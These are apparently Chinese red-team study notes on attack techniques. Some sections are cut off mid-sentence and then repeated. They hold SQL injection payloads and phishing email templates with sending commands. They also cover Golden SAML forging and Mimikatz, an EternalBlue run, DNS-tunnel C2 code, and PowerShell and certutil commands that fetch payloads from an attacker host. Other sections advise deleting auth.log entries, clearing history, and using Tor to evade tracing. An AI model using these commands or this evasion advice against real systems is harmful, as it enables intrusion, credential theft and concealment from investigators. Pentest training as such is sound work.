    # 调整Cookie时间
    # 使用浏览器开发工具修改cookie过期时间

    网络协议工具

    • NTP协议可被利用于时间调整

    • SMB/NTLM有时间戳但不严格

    • SSL/TLS证书验证受时间影响

    # 检查证书有效期
    openssl x509 -in cert.pem -noout -dates
    ​
    # 跳过SSL时间验证
    curl -k https://target

八、专题研究与知识拓展

1. 专题学习建议

  • SQL注入专题

    • 理解CQL注入的特点

    • 掌握国内外最佳教程精华

    • 实际操作验证理论知识

    拓展:SQL注入攻击技术:

    SQL注入基本技术

    -- 1. 基本测试语句
    ' OR 1=1 --
    " OR 1=1 --
    ') OR 1=1 --
    ​
    -- 2. UNION查询
    ' UNION SELECT 1,2,3 --
    ' UNION SELECT null,null,column_name FROM information_schema.columns WHERE table_name='users' --
    ​
    -- 3. 盲注技术
    ' AND (SELECT ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1)))>90 --
    ​
    -- 4. 时间盲注
    ' AND IF(ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1))>90,SLEEP(5),0) --

    实际场景中的利用

    # 使用sqlmap自动化检测
    sqlmap -u "http://target/page.php?id=1" --dbs
    ​
    # 提取特定数据
    sqlmap -u "http://target/page.php?id=1" -D database_name -T users -C username,password --dump
    ​
    # 高级bypass技术
    sqlmap -u "http://target/page.php?id=1" --tamper=space2comment,charencode

    NoSQL/CQL注入特点

    # MongoDB注入
    username[$ne]=admin&password[$ne]=
    ​
    # Cassandra CQL注入
    string' + 'injection
  • 钓鱼专题

    • 研究钓鱼的不同方法

    • 理解背后的技术原理

    • 结合实际场景应用

    拓展:高级钓鱼技术:

    钓鱼邮件策略

    # 生成逼真的钓鱼邮件
    cat << EOF > phishing_email.txt
    From: IT Support <support@company-secure.com>
    Subject: Urgent: Security Password Update Required
    ​
    Dear Employee,
    ​
    Our security system has detected unusual login activity on your account.
    ​
    Please verify your credentials immediately at: https://portal-secure.company.com/
    ​
    IT Security Team
    EOF
    ​
    # 通过SMTP发送
    sendemail -f "support@company-secure.com" -t "victim@company.com" -u "Urgent: Security Password Update Required" -o message-file=phishing_email.txt -s target_smtp_server

    克隆认证页面

    # 使用Social-Engineer Toolkit (SET)
    setoolkit
    # 选择 "Social-Engineering Attacks"
    # 选择 "Website Attack Vectors"
    # 选择 "Credential Harvester Attack Method"
    # 选择 "Site Cloner"
    # 输入目标网站 https://company.com/login

    反向代理技术(如前述Nginx配置):

    • 实时转发流量

    • 捕获凭据

    • 维持用户会话

  • ADS-F专题

    • 作为现代企业内网中重要的基础设施

    • 预渗透测试的第一个大内容

    • 理解其在域环境中的作用

    拓展:AD FS (Active Directory Federation Services) 攻击技术:

    1. AD FS基础枚举

    # 发现AD FS服务器
    nslookup -type=SRV _fs._tcp.domain.com
    ​
    # 查询AD FS元数据
    curl -k https://adfs.domain.com/FederationMetadata/2007-06/FederationMetadata.xml
    ​
    # 枚举联合应用
    # 查看ADFS管理控制台

    2. Golden SAML攻击

    # 使用ADFSDump提取签名证书
    ADFSDump.exe --server adfs.domain.com --debug
    ​
    # 使用AADInternals创建伪造令牌
    Import-Module AADInternals
    New-AADIntSAMLToken -ImmutableID "<user_id>" -Issuer "http://adfs.domain.com/adfs/services/trust" -PfxFileName "adfs_signing.pfx"

    3. 凭据收集

    # 导出配置数据库凭证
    Add-Type -AssemblyName System.Security
    $EncryptedConfig = Get-Content "C:\Windows\ADFS\Microsoft.IdentityServer.Servicehost.exe.config" | select-string "connectionString"

    4. DKM密钥提取

    # 使用Mimikatz转储DKM密钥
    mimikatz # privilege::debug
    mimikatz # sekurlsa::dpapi

2. 学习方法与资源利用

  • 原版教材

    • 获取OSEP等认证的教材资源

    • 研读官方文档和指南

    • 学习国内外最佳实践

    拓展:最佳学习资源:

    1. OSEP (Offensive Security Experienced Penetration Tester)

      • 学习重点:高级反病毒绕过、高级PowerShell、Office文档攻击、高级权限提升

      • 关键实验:域持久化技术、C2架构设计、自定义后门开发

    2. CRTP (Certified Red Team Professional)

      • 学习重点:Active Directory攻击、Kerberos漏洞利用、横向移动技术

      • 关键实验:域控制器接管、Golden Ticket攻击、银票据攻击

    3. 自主实验环境搭建

      # 使用AutomatedLab快速部署AD环境Install-Module AutomatedLab -ForceNew-LabDefinition -Name "PenTestLab" -DefaultVirtualizationEngine HyperVAdd-LabDomainDefinition -Name "corp.local" -AdminUser Administrator -AdminPassword "Password123!"Add-LabMachineDefinition -Name "DC1" -Memory 2GB -OperatingSystem 'Windows Server 2019 Datacenter' -Roles RootDC -DomainName "corp.local"Add-LabMachineDefinition -Name "SRV1" -Memory 2GB -OperatingSystem 'Windows Server 2019 Datacenter' -DomainName "corp.local"Add-LabMachineDefinition -Name "CLIENT1" -Memory 2GB -OperatingSystem 'Windows 10 Enterprise' -DomainName "corp.local"Install-Lab
  • 动手实践

    • 本地搭建环境验证理论

    • 实际操作加深理解

    • 从业务角度理解技术

    拓展:动手实践方法:

    渐进式实践路径

    1. 基础实验:单一技术点验证

      # 例如:验证NTLM中继攻击
      python3 ntlmrelayx.py -tf targets.txt
      python3 -m SimpleHTTPServer 80  # 创建伪造页面触发认证
    2. 综合实验:多技术联合验证

      # 例如:完整权限提升链
      # 1. 使用钓鱼邮件获取初始访问
      # 2. 使用凭据收集获

八、专题研究与知识拓展(续)

2. 学习方法与资源利用(续)

  • 动手实践(续):

    • 本地搭建环境验证理论

    • 实际操作加深理解

    • 从业务角度理解技术

    拓展:动手实践方法(续):

    渐进式实践路径(续):

    1. 综合实验:多技术联合验证

      # 例如:完整权限提升链
      # 1. 使用钓鱼邮件获取初始访问
      # 2. 使用凭据收集获取本地账户
      # 3. 利用本地提权漏洞提升至系统权限
      # 4. 转储SAM数据库获取本地哈希
      # 5. 使用Pass-the-Hash进行横向移动
    2. 模拟目标环境:基于真实场景设计

      # 例如:构建类似目标环境的测试网络
      # 1. 相同操作系统版本
      # 2. 类似网络架构
      # 3. 相似安全措施
      # 4. 同类应用程序配置

    从业务角度考虑的渗透测试实验

    1. 模拟金融业务流程

      • 搭建具有交易系统、用户管理、财务报表的测试环境

      • 评估各业务节点的安全风险

      • 分析攻击对业务连续性的影响

    2. 制造业控制系统实验

      • 模拟OT/IT网络隔离架构

      • 测试工业协议安全性(如Modbus, OPC UA)

      • 评估安全措施对生产效率的影响

  • 思维培养

    • 保持独立思考能力

    • 构建完整攻击链思维

    • 从安全视角考虑问题

    拓展:安全思维培养方法:

    攻击链思维框架

    每个攻击步骤应考虑以下问题:

    1. 前置条件

      :需要什么条件才能执行这一步?

      • 所需权限级别

      • 必要的网络连接

      • 目标系统上需要的服务/应用

    2. 实施方法

      :可以使用哪些具体技术?

      • 主要方法

      • 备选方案

      • 应对防御的变通手段

    3. 检测与规避

      :如何避免被发现?

      • 可能的检测点

      • 绕过方法

      • 最小化行动痕迹的技术

    4. 失败备案

      :如果这一步失败,有什么替代方案?

      • 替代攻击路径

      • 降级攻击方案

      • 撤退策略

    思维训练实例

    针对一个假设场景"获取域管理员权限",构建完整思路:

    1. 初始访问
       - 前置条件:外部可达服务或用户交互
       - 实施方法:钓鱼邮件、web漏洞利用、VPN爆破
       - 规避方法:使用合法工具、限制连接频率
       - 备案:尝试供应链攻击、社会工程学
    ​
    2. 权限提升
       - 前置条件:普通用户访问权
       - 实施方法:本地提权漏洞、配置错误利用
       - 规避方法:使用内存执行、避免创建文件
       - 备案:保持低权限横向移动寻找弱点
    ​
    3. 凭据获取
       - 前置条件:本地管理员权限
       - 实施方法:内存dump、SAM提取、DPAPI破解
       - 规避方法:避免触发内存扫描、限制LSASS访问频率
       - 备案:键盘记录、会话劫持
    ​
    4. 横向移动
       - 前置条件:有效凭据、网络连通性
       - 实施方法:PsExec、WMI、DCOM
       - 规避方法:模拟正常管理操作、使用允许的协议
       - 备案:尝试不同的移动技术、改变目标优先级
    ​
    5. 域控接管
       - 前置条件:高价值服务器访问权
       - 实施方法:DCSync、Pass-the-Ticket、Golden Ticket
       - 规避方法:限制特权操作时间窗口、伪装合法活动
       - 备案:退而求其次获取敏感数据访问权

九、红队思维与技能培养

1. 独立思考的重要性

  • 方案构建能力

    • 能构建自己的攻击方案远比会使用工具重要

    • 基于自己技术基础构建方案是最佳实践

    • 保持技术敏锐度和开放思维

    拓展:培养独立解决问题的方法:

    技术识别与方案构建方法

    1. 系统分析法

      1. 确定目标系统类型(Windows服务器、Linux应用服务器等)
      2. 识别关键组件(Web服务器、数据库、中间件等)
      3. 分析版本信息和补丁级别
      4. 查找组件间交互点和信任关系
      5. 评估每个组件的潜在弱点
      6. 构建利用链路,将各弱点连接起来
    2. 逆向工程思维

      1. 从最终目标开始(如获取域管理员权限)
      2. 确定获得这一目标所需的直接条件(访问域控制器+管理员凭据)
      3. 继续分解每个条件所需的前置条件
      4. 直到找到当前具备或可以创造的初始条件
      5. 从初始条件开始向前制定攻击计划
    3. 异常检测思维

      1. 观察系统的正常行为和配置
      2. 寻找偏离标准的异常点
        - 非标准端口上运行的服务
        - 不同寻常的权限配置
        - 过时的组件或非常见配置
      3. 针对这些异常点进行深入分析
      4. 评估是否可转化为攻击路径
  • 信心因素

    • 对自己方案有信心是决定性因素

    • 了解技术细节才能有信心推进

    • 知道每一步是否扎实

    拓展:建立技术信心的方法:

    1. 建立个人知识库

      # 创建结构化笔记系统,记录每次成功和失败的案例
      ​
      # 示例目录结构
      ~/pentest_notes/
      ├── techniques/           # 按技术分类
      │   ├── web/
      │   ├── windows/
      │   └── linux/
      ├── tools/                # 工具使用笔记
      ├── vulnerabilities/      # 漏洞利用笔记
      └── case_studies/         # 实际案例分析
    2. 渐进式复杂度

      • 从简单环境开始测试

      • 逐步增加复杂度和防御措施

      • 记录每一步的成功条件和失败原因

    3. 技术验证练习

      # 例:验证SSH隧道的稳定性
      ​
      # 1. 创建测试隧道
      ssh -L 8080:internal:80 user@jumphost
      ​
      # 2. 监控连接状态
      watch -n 5 "netstat -an | grep 8080"
      ​
      # 3. 测试不同网络条件
      # - 模拟网络延迟
      sudo tc qdisc add dev eth0 root netem delay 100ms
      ​
      # - 模拟丢包
      sudo tc qdisc add dev eth0 root netem loss 5%
      ​
      # 4. 记录结果并改进配置
    4. 技术深度学习

      • 不仅学习工具使用,还要理解底层原理

      • 阅读源代码理解关键实现

      • 尝试自己实现简化版本的工具

2. 操作习惯与环境

  • Tmux与Linux操作

    • 熟练使用Tmux进行终端管理

    • 掌握Linux shell快捷方式

    • 养成良好操作习惯提高效率

    拓展:高效操作环境配置:

    Tmux核心配置与快捷键

    # .tmux.conf基本配置
    cat << EOF > ~/.tmux.conf
    # 使用Ctrl+a作为前缀键
    unbind C-b
    set -g prefix C-a
    ​
    # 启用鼠标
    set -g mouse on
    ​
    # 增加历史记录
    set -g history-limit 50000
    ​
    # 设置窗口和面板从1开始编号
    set -g base-index 1
    setw -g pane-base-index 1
    ​
    # 自动重命名窗口
    set-window-option -g automatic-rename on
    ​
    # 状态栏配置
    set -g status-position bottom
    set -g status-style bg=colour234,fg=colour137
    EOF

    常用Tmux操作

    # 会话管理
    Ctrl+a c       创建新窗口
    Ctrl+a ,       重命名当前窗口
    Ctrl+a 数字    切换到指定窗口
    Ctrl+a "       列出并选择窗口
    ​
    # 窗格操作
    Ctrl+a %       垂直分割窗格
    Ctrl+a "       水平分割窗格
    Ctrl+a 方向键  在窗格间移动
    Ctrl+a z       最大化/还原当前窗格
    ​
    # 复制模式
    Ctrl+a [       进入复制模式
    空格键         开始选择
    Enter          复制选择内容
    Ctrl+a ]       粘贴

    高效Shell操作技巧

    # 命令历史快速搜索
    Ctrl+r         搜索历史命令
    ​
    # 命令行编辑
    Ctrl+a         移动到行首
    Ctrl+e         移动到行尾
    Alt+f          向前移动一个单词
    Alt+b          向后移动一个单词
    Ctrl+k         删除光标到行尾
    Ctrl+u         删除光标到行首
    ​
    # 作业控制
    Ctrl+z         挂起程序
    bg             在后台继续运行
    fg             将程序带回前台
    jobs           查看后台作业
    ​
    # 目录导航
    cd -           返回上一目录
    pushd dir      将目录加入堆栈并切换
    popd           弹出堆栈顶部目录并切换
  • 笔记系统建立

    • 以思路流转为主记录过程

    • 将重要凭据放在容易查找的位置

    • 不过度依赖笔记,关键信息记在脑中

    拓展:渗透测试笔记系统:

    有效笔记结构

    # 渗透测试笔记模板
    ​
    ## 1. 项目信息
    - 目标: [目标名称]
    - 范围: [IP范围/域名]
    - 时间: [开始-结束日期]
    ​
    ## 2. 信息收集
    - 网络扫描结果
    - 域名信息
    - 服务识别
    ​
    ## 3. 漏洞评估
    - 发现的漏洞列表
    - 漏洞优先级排序
    - 利用可行性分析
    ​
    ## 4. 攻击路径
    - 路径1: [简要描述]
      - 立足点获取: [方法]
      - 权限提升: [方法]
      - 横向移动: [方法]
    - 路径2: [简要描述]
    ​
    ## 5. 凭据库
    - [系统/服务]: [用户名]:[密码/哈希]
    - [系统/服务]: [用户名]:[密码/哈希]
    ​
    ## 6. 重要命令记录

    关键凭据管理

    # 使用加密存储凭据
    ​
    # 1. 创建加密凭据文件
    openssl enc -aes-256-cbc -salt -in creds.txt -out creds.txt.enc
    rm creds.txt  # 删除原文件
    ​
    # 2. 解密查看
    openssl enc -aes-256-cbc -d -in creds.txt.enc -out /dev/stdout
    ​
    # 3. 将常用凭据导出为环境变量(临时使用)
    export TARGET_USER=admin
    export TARGET_PASS=Password123
    ​
    # 4. 使用环境变量
    sshpass -p $TARGET_PASS ssh $TARGET_USER@host
  • 沉浸式学习

    • 模拟真实场景的紧张感

    • "卡自己"以获得更深刻体验

    • 在有限环境中寻找突破

    拓展:沉浸式学习方法:

    1. 时间限制演练

      # 使用计时器进行演练
      ​
      # 设置30分钟计时器
      termdown 30m &
      ​
      # 在有限时间内完成特定任务
      # 例如: 30分钟内从立足点提升到系统权限
    2. 模拟后果

      • 设定规则:如果特定操作失败,则放弃当前路径

      • 限制工具使用:只允许使用特定工具集

      • 模拟警报触发:如果生成过多日志,则视为任务失败

    3. 受限环境练习

      # 限制网络访问模拟隔离环境
      ​
      # 创建隔离网络命名空间
      sudo ip netns add restricted
      ​
      # 在隔离环境中启动shell
      sudo ip netns exec restricted bash
      ​
      # 只允许特定连接
      sudo iptables -A OUTPUT -d target_ip -j ACCEPT
      sudo iptables -A OUTPUT -j DROP
    4. 角色扮演练习

      • 扮演不同角色:攻击者、防御者、系统管理员

      • 记录并分析各角色视角下的关键点

      • 从防御者角度预测并规避检测

3. 经验总结与反思

  • 刻骨铭心体验

    • 寻找攻击过程中的关键节点

    • 挫折和成功的时刻都是学习机会

    • 将经验转化为系统性方法

    拓展:关键经验记录与反思:

    反思框架模板

    # 渗透测试反思记录
    ​
    ## 情境描述
    [详细描述当时面临的技术场景和挑战]
    ​
    ## 尝试的方法
    1. [方法1] - 结果: [成功/失败]
    2. [方法2] - 结果: [成功/失败]
    3. [方法3] - 结果: [成功/失败]
    ​
    ## 决定性突破
    [描述最终成功的方法或关键转折点]
    ​
    ## 学到的经验
    1. 技术层面:
       - [具体技术点1]
       - [具体技术点2]
    ​
    2. 思维层面:
       - [思维方式的改变]
       - [问题分析方法的调整]
    ​
    3. 流程层面:
       - [工作流程的优化]
       - [决策过程的改进]
    ​
    ## 未来改进
    1. [需要深入学习的技术领域]
    2. [需要准备的工具或脚本]
    3. [需要调整的思维习惯]

    案例分析法

    # 失败案例分析
    
    ## 关键失败点
    [确定导致失败的具体环节或决定]
    
    ## 根本原因分析
    1. 技术因素:
       - [技术能力不足]
       - [工具局限性]
    
    2. 信息因素:
       - [信息收集不全]
       - [判断依据不足]
    
    3. 决策因素:
       - [决策过于仓促]
       - [未考虑备选方案]
    
    ## 复盘验证
    [设计验证实验确认根本原因]
    
    ## 防止复现策略
    1. [具体改进措施1]
    2. [具体改进措施2]
  • 业务与技术结合

    • 理解业务功能对渗透测试至关重要

    • 基于业务链条构建合理攻击链

    • 从运维角度思考安全问题

    拓展:业务视角的安全分析:

    业务流程安全映射

    1. 识别关键业务流程

      # 银行转账业务流程示例
      1. 用户登录 -> 2. 验证身份 -> 3. 选择收款人 -> 
      4. 输入金额 -> 5. 确认交易 -> 6. 双因素认证 -> 
      7. 执行转账 -> 8. 通知双方
    2. 映射技术组件

      1. 用户登录 [Web前端 + 认证服务]
      2. 验证身份 [身份验证API + 会话管理]
      3. 选择收款人 [用户数据库查询]
      4. 输入金额 [表单验证 + 业务规则检查]
      5. 确认交易 [交易预检API]
      6. 双因素认证 [2FA服务 + SMS网关]
      7. 执行转账 [核心银行系统API + 事务处理]
      8. 通知双方 [通知服务 + 消息队列]
    3. 识别攻击面

      1. 用户登录 [凭据窃取、会话劫持、暴力破解]
      2. 验证身份 [认证绕过、会话Fixation]
      3. 选择收款人 [SQL注入、IDOR漏洞]
      4. 输入金额 [客户端验证绕过、业务逻辑漏洞]
      5. 确认交易 [CSRF、请求伪造]
      6. 双因素认证 [SMS劫持、2FA绕过]
      7. 执行转账 [事务操作漏洞、竞争条件]
      8. 通知双方 [通知劫持、信息泄露]

    运维视角的安全考量

    # 系统管理员日常任务与安全风险
    ​
    1. 账户管理
       - 风险: 账户创建/删除流程中的特权升级
       - 攻击点: 自动化脚本、临时权限持久化
    ​
    2. 补丁管理
       - 风险: 测试环境到生产环境的差异
       - 攻击点: 补丁部署工具、测试账户
    ​
    3. 配置变更
       - 风险: 配置文件中的凭据和敏感信息
       - 攻击点: 配置备份、临时文件、版本控制
    ​
    4. 监控与日志
       - 风险: 管理界面及API的访问控制
       - 攻击点: 监控工具自身的漏洞、日志轮转脚本
  • 避免一成不变

    • 不局限于单一工具或方法

    • 灵活调整策略应对不同情况

    • 持续学习新技术和方法

    拓展:技术多样性培养:

    工具替代方案准备

    # 为每个关键功能准备多种工具
    ​
    # 端口扫描
    # 主要工具: nmap
    nmap -sS -p- 192.168.1.1
    ​
    # 替代方案1: masscan
    masscan -p1-65535 192.168.1.1 --rate=1000
    ​
    # 替代方案2: 自定义脚本
    for p in {1..65535}; do
      (echo > /dev/tcp/192.168.1.1/$p) >/dev/null 2>&1 && echo "$p open"
    done

    混合攻击策略

    # Web应用攻击多样化
    ​
    ## 方法1: 直接SQL注入
    ' OR 1=1 --
    ​
    ## 方法2: 基于时间的盲注
    ' AND IF(1=1, SLEEP(2), 0) --
    ​
    ## 方法3: 基于错误的注入
    ' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT version()), 0x7e)) --
    ​
    ## 方法4: 二阶注入
    # 在一处存储payload,在另一处触发

    持续学习计划

    # 按季度的技能拓展计划
    ​
    ## Q1: 网络协议深度学习
    - 学习SMB协议内部结构
    - 研究Kerberos认证机制
    - 探索LDAP查询和过滤
    ​
    ## Q2: 代码审计能力
    - 学习一种新的编程语言
    - 审计开源项目寻找漏洞
    - 开发自定义漏洞利用
    ​
    ## Q3: 防御绕过技术
    - 研究最新EDR/XDR解决方案
    - 开发内存加载技术
    - 测试代码签名绕过方法
    ​
    ## Q4: 新兴技术安全
    - 云服务安全评估
    - 容器逃逸技术
    - Kubernetes集群渗透

十、安全操作与风险控制

1. 数据安全处理

  • 敏感数据风险

    • 处理敏感数据需注意法律风险

    • 50条以上数据买卖在国内非常敏感

    • 避免接触可能带来法律问题的数据

    拓展:安全数据处理实践:

    数据脱敏处理

    # 使用sed进行基本数据脱敏
    ​
    # 替换身份证号码
    sed -E 's/([0-9]{6})([0-9]{8})([0-9]{4})/\1********\3/g' data.txt
    ​
    # 替换电话号码
    sed -E 's/([0-9]{3})([0-9]{4})([0-9]{4})/\1****\3/g' data.txt
    ​
    # 替换邮箱地址
    sed -E 's/([a-zA-Z0-9._%+-]+)@([a-zA-Z0-9.-]+\.[a-zA-Z]{2,})/****@\2/g' data.txt

    安全数据存储

    # 使用GPG加密敏感文件
    ​
    # 生成密钥
    gpg --gen-key
    ​
    # 加密文件
    gpg -e -r "Your Name" sensitive_data.txt
    ​
    # 安全删除原文件
    shred -u sensitive_data.txt
    ​
    # 解密文件(需要时)
    gpg -d sensitive_data.txt.gpg > sensitive_data.txt

    内存中处理敏感数据

    # Python示例:在内存中处理敏感数据,不写入磁盘
    ​
    import re
    ​
    # 从网络或命令行读取数据,避免写入文件
    data = input("输入敏感数据: ")
    ​
    # 内存中处理
    processed_data = re.sub(r'(\d{3})(\d{4})(\d{4})', r'\1****\3', data)
    ​
    # 使用处理后数据,完成后从内存清除
    print("处理结果:", processed_data)
    ​
    # 显式清除变量
    data = None
    processed_data = None
  • 个人痕迹管理

    • 尽量少留个人痕迹

    • 避免在公开场合发表敏感言论

    • 了解溯源技术,知道如何被追踪

    拓展:最小化个人痕迹:

    在目标系统上

    # 1. 清理shell历史
    history -c
    rm ~/.bash_history
    ​
    # 2. 使用环境变量禁用历史
    export HISTSIZE=0
    ​
    # 3. 清理临时文件
    find /tmp -user $(whoami) -delete
    ​
    # 4. 清理日志条目(需谨慎,可能触发警报)
    # 不直接删除日志文件,而是删除特定条目
    sed -i '/your_username/d' /var/log/auth.log

    网络操作

    # 1. 使用代理链
    proxychains nmap 192.168.1.1
    ​
    # 2. 流量伪装
    # 使HTTP流量看起来像正常浏览
    curl --user-agent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" target.com
    ​
    # 3. 使用Tor网络
    torsocks wget http://target.com

    个人身份保护

    # 创建专用虚拟机
    # 1. 使用没有个人信息的干净系统
    # 2. 使用桥接VPN
    # 3. 避免登录个人账户
    # 4. 不同项目使用不同虚拟机
  • 了解溯源技术:知道如何被追踪有助于减少风险

    拓展:常见溯源技术与对策:

    1. IP地址追踪

      • 溯源方法:记录访问日志、CDN日志、ISP记录

      • 对策:使用多层代理、Tor网络、公共WiFi

    2. 浏览器指纹

      • 溯源方法:Canvas指纹、字体检测、插件列表

      • 对策:使用专用浏览器配置、禁用JavaScript、使用虚拟机

    3. 设备指纹

      • 溯源方法:MAC地址、系统UUID、硬

十、安全操作与风险控制(续)

1. 数据安全处理(续)

  • 了解溯源技术:知道如何被追踪有助于减少风险

    拓展:常见溯源技术与对策:

    1. IP地址追踪

      • 溯源方法:记录访问日志、CDN日志、ISP记录

      • 对策:使用多层代理、Tor网络、公共WiFi

    2. 浏览器指纹

      • 溯源方法:Canvas指纹、字体检测、插件列表

      • 对策:使用专用浏览器配置、禁用JavaScript、使用虚拟机

    3. 设备指纹

      • 溯源方法:MAC地址、系统UUID、硬件序列号

      • 对策:使用MAC地址欺骗、虚拟机、公共设备

    4. 文件元数据

      • 溯源方法:EXIF数据、文档属性、创建者信息

      • 对策:使用元数据清理工具、避免共享原始文件

    5. 网络行为分析

      • 溯源方法:流量模式识别、连接时间分析、数据量分析

      • 对策:规律化流量、混合正常流量、避免独特模式

    # 文件元数据清理示例
    ​
    # 安装exiftool
    apt-get install exiftool
    ​
    # 查看文件元数据
    exiftool document.docx
    ​
    # 清除所有元数据
    exiftool -all= document.docx
    ​
    # 创建没有元数据的PDF
    exiftool -all:all= -overwrite_original document.pdf

2. 平衡效率与安全

  • 工具选择

    • 商业工具vs自研工具的权衡

    • 使用现成工具提高效率

    • 理解工具背后原理保持控制

    拓展:工具选择决策框架:

    工具评估矩阵(评分1-5,5为最佳):

    评估因素

    商业工具

    开源工具

    自研工具

    功能完整性

    5

    3-4

    2-5

    使用便捷性

    5

    3

    4

    隐蔽性

    2

    3

    5

    可定制性

    2

    4

    5

    维护成本

    5

    3

    1

    学习曲线

    4

    3

    1

    检测规避

    2

    3

    5

    选择策略

    1. 时间紧迫:优先选择商业工具或熟悉的开源工具

    # 使用Metasploit进行快速漏洞利用
    msfconsole
    use exploit/windows/smb/ms17_010_eternalblue
    set RHOSTS 192.168.1.100
    exploit
    1. 高隐蔽需求:优先选择自研工具或高度定制化的开源工具

    # 使用自定义C2通道
    # 创建特定于目标环境的通信协议
    # 例如:将数据隐藏在DNS请求中
    ​
    # Python示例片段
    import dns.resolver
    import base64
    ​
    def send_command(command, domain="example.com"):
      encoded = base64.b64encode(command.encode()).decode()
      chunks = [encoded[i:i+30] for i in range(0, len(encoded), 30)]
      results = []
      
      for i, chunk in enumerate(chunks):
          subdomain = f"{i}.{chunk}.{domain}"
          try:
              answers = dns.resolver.resolve(subdomain, 'TXT')
              for rdata in answers:
                  results.append(str(rdata))
          except Exception:
              pass
      
      return ''.join(results)
    1. 特殊环境:基于环境限制选择合适工具

    # 受限环境中使用PowerShell单行命令
    powershell -ep bypass -nop -c "IEX (New-Object Net.WebClient).DownloadString('http://attacker/script.ps1')"
    
    # 无PowerShell环境使用certutil
    certutil -urlcache -split -f http://attacker/payload.b64 payload.b64
    certutil -decode payload.b64 payload.exe
  • 操作风险评估

    • 评估每项操作的暴露风险

    • 在必要时接受适度风险

    • 为高风险操作做好应对预案

    拓展:操作风险评估方法:

    风险评估模板

    操作: [具体操作描述]
    ​
    1. 风险级别评估
       - 检测可能性: [低/中/高]
       - 失败影响: [低/中/高]
       - 行动价值: [低/中/高]
       - 综合风险: [低/中/高]
    ​
    2. 检测向量
       - 系统日志: [会产生什么日志]
       - 网络流量: [会产生什么特征流量]
       - 文件系统: [会产生什么文件变化]
       - 进程活动: [会产生什么进程活动]
    ​
    3. 缓解策略
       - [具体缓解方法1]
       - [具体缓解方法2]
    ​
    4. 应急计划
       - 如果操作被检测: [应对措施]
       - 如果操作失败: [备选方案]
       - 撤退策略: [安全退出方法]

    实际操作风险评估示例

    操作: 在目标Windows服务器上转储LSASS内存
    ​
    1. 风险级别评估
       - 检测可能性: 高 (EDR常监控)
       - 失败影响: 中 (可能触发警报但不一定暴露完整行动)
       - 行动价值: 高 (可获取域凭据)
       - 综合风险: 中高
    ​
    2. 检测向量
       - 系统日志: 进程访问LSASS事件ID 4656
       - 网络流量: 可能的大型数据传输
       - 文件系统: 临时dump文件
       - 进程活动: 异常进程访问LSASS.exe
    ​
    3. 缓解策略
       - 使用原生工具如Task Manager创建dump
       - 直接在内存中提取凭据不保存dump
       - 选择低监控时段执行
       - 避免使用已知工具如mimikatz
    ​
    4. 应急计划
       - 如果操作被检测: 立即清理临时文件,停止当前活动
       - 如果操作失败: 尝试使用WDigest或DPAPI方法
       - 撤退策略: 确保不留下dump文件,清理日志
  • 资源购买考量

    • 有时用小额费用解决问题是效率选择

    • 评估成本与收益比

    • 了解相关法律和道德边界

    拓展:资源获取决策框架:

    合法资源获取评估

    1. 需求明确化

      • 确切需要什么信息/服务?

      • 该信息/服务对目标的价值?

      • 有无替代获取方法?

    2. 合法性评估

      • 该信息是否属于公开信息?

      • 是否触及个人隐私或敏感数据?

      • 获取方式是否符合相关法规?

    3. 成本效益分析

      • 购买成本与预期价值比较

      • 与替代方法的成本比较

      • 时间节约价值评估

    4. 风险评估

      • 供应商可信度评估

      • 交易方式安全性

      • 关联风险评估

    合法资源示例

    # 合法的付费资源示例
    ​
    1. 域名WHOIS历史数据服务
       - 用途: 深入了解目标的域名历史
       - 合法服务提供商: DomainTools, SecurityTrails
       - 替代方案: Internet Archive (有限数据)
    ​
    2. 漏洞数据库订阅
       - 用途: 获取详细漏洞信息和利用方法
       - 合法服务提供商: VulnDB, Exploit-DB Pro
       - 替代方案: 开源情报收集(耗时)
    ​
    3. 云服务器租用
       - 用途: 搭建测试环境或C2服务器
       - 合法服务提供商: AWS, Azure, DigitalOcean
       - 替代方案: 本地虚拟化(功能受限)

十一、本周进度与技术重点

1. 谨慎地开始内网渗透

  • 机器权限保护:获得立足点后首要任务是确保不丢失权限

  • 隐蔽行动:避免行为触发安全告警或被管理员发现

  • 持久化:尽快建立持久访问机制,增加立足点的稳定性

    拓展:初始立足点的谨慎操作:

    # 1. 首先了解当前用户和权限
    id
    whoami
    groups
    ​
    # 2. 查看登录记录,了解系统使用情况
    last | head
    lastlog | grep -v "Never"
    ​
    # 3. 检查监控和日志系统
    ps aux | grep -i "audit\|monitor\|log"
    find /etc -name "*log*.conf" 2>/dev/null
    ​
    # 4. 检查系统负载,选择低负载时段操作
    uptime
    top -n 1
    ​
    # 5. 建立基础信息收集,但限制操作强度
    uname -a
    cat /etc/*-release
    ifconfig -a
    netstat -antup | grep ESTABLISHED

2. 权限提升尝试

  • 本地提权:分析当前权限级别,寻找可能的提权路径

  • 优先级评估:评估当前权限能否满足基本操作需求

  • 风险平衡:在提权尝试和保持低调之间找到平衡点

    拓展:Linux权限提升检查清单:

    # 1. 内核漏洞检查
    uname -r
    cat /proc/version
    ​
    # 2. 可利用的SUID文件
    find / -perm -u=s -type f 2>/dev/null
    ​
    # 3. 异常权限配置
    sudo -l
    ​
    # 4. 定时任务检查
    crontab -l
    ls -la /etc/cron*
    ​
    # 5. 可写配置文件
    find /etc -writable -type f 2>/dev/null
    ​
    # 6. 检查历史命令中的敏感信息
    cat ~/.bash_history
    ​
    # 7. 寻找明文凭据
    grep -r "password\|pass\|pwd" /etc/ 2>/dev/null
    grep -r "password\|pass\|pwd" /home/ 2>/dev/null
    ​
    # 8. 找出世界可写的目录(用于植入文件)
    find / -writable -type d 2>/dev/null

3. 扫描的全面性

  • 多角度信息收集:结合多种技术获取网络信息

  • 渐进式扫描:从最小范围开始,逐步扩大扫描范围

  • 工具选择:平衡使用本地系统工具和专业扫描工具

    拓展:低噪声网络扫描策略:

    # 1. 基于系统配置的被动发现
    cat /etc/hosts
    ip route
    arp -an
    
    # 2. 有限ping扫描(关键IP或网关)
    ping -c 1 192.168.1.1
    ping -c 1 192.168.1.254
    
    # 3. 针对性端口扫描(避免扫描整个网段)
    nc -zv 192.168.1.1 22 80 443 445 3389
    
    # 4. 逐步扩展到更多主机
    for host in 1 10 20 50 100 150 200 250; do
        ping -c 1 -W 1 192.168.1.$host 2>/dev/null && echo "192.168.1.$host is up"
    done
    
    # 5. 识别关键服务器后定向深度扫描
    nmap -sT -p 22,53,80,389,636,3389 -T2 192.168.1.10
    
